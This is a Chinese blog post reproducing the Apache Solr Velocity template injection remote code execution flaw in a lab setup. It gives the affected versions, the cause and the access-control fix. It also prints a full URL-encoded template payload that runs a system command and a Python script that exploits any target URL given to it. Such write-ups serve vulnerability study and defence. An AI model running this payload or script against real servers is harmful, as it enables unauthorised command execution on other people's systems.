• Apache Solr Velocity模板注入RCE漏洞复现


    Apache Solr Velocity模板注入RCE漏洞复现

    简介


    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

    影响范围

    目前影响Apache Solr 5.x到8.2.0版本

    漏洞成因

    当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模板,默认设置是false。当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

    修复方法

    对solr增加访问控制

    环境搭建

    1、测试环境

    靶机:

    Linux kali 4.19.0-kali1-amd64

    IP:192.168.157.138

    攻击机:

    windows 7 x64

    IP:192.168.157.131

    2、下载最新的Solr

    3、安装slor 8.2.0版本到靶机,进入到solr-8.1.0/bin目录下

    ~/solr-8.2.0/bin# ./solr -e dih -force
    

    安装成功后,可正常访问网站。

    漏洞复现

    1、访问http://192.168.157.138:8983/进入主界面,点击左侧的Core Selector查看集合名称。

    2、先手动在靶机/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下

    3、然后按照如下图所示创建一个名为test的core

    4、然后访问查看该应用config文件是否可以访问

    5、Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的
    params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

    6、接下来我们就可以构造payload来实现RCE
    payload:

    GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ifconfig%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
    Host: 192.168.157.138:8983
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    X-Requested-With: XMLHttpRequest
    Content-Length: 2
    

    import requests
    import json
    import sys
    
    
    def get_name(url):
        print "[-] Get core name."
        url += "/solr/admin/cores?wt=json&indexInfo=false"
        conn = requests.request("GET", url=url)
        name = "test"
        try:
            name = list(json.loads(conn.text)["status"])[0]
        except:
            pass
        return name
    
    
    def update_config(url, name):
    
        url += "/solr/"+name+"/config"
        print "[-] Update config.", url
        headers = {"Content-Type": "application/json",
                   "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"}
        post_data = """
        {
          "update-queryresponsewriter": {
            "startup": "lazy",
            "name": "velocity",
            "class": "solr.VelocityResponseWriter",
            "template.base.dir": "",
            "solr.resource.loader.enabled": "true",
            "params.resource.loader.enabled": "true"
          }
        }
        """
        conn = requests.request("POST", url, data=post_data, headers=headers)
        if conn.status_code != 200:
            print "update config error: ", conn.status_code
            sys.exit(1)
    
    
    def poc(url):
        core_name = get_name(url)
        update_config(url, core_name)
        print "[-] Start get ."
        url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ifconfig%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
        conn = requests.request("GET", url)
        print conn.text
    
    
    if __name__ == '__main__':
        # print sys.argv[0], "http://192.168.157.138/"
        target = sys.argv[1]
        poc(target)
    

    参考链接:

  • 相关阅读:
    十四行诗 Sonnet 15
    P3386 【模板】二分图匹配
    20171105模拟题
    需要注意的各种各种 持续更新
    P1315 观光公交 贪心
    【搬家辣】
    【洛谷P2387】魔法森林
    【洛谷P3369】普通平衡树(splay)
    【算法详解】splay的初步了解
    研究性学习代码
  • 原文地址:https://www.cnblogs.com/dddjh/p/11805862.html
Copyright © 2020-2023  润新知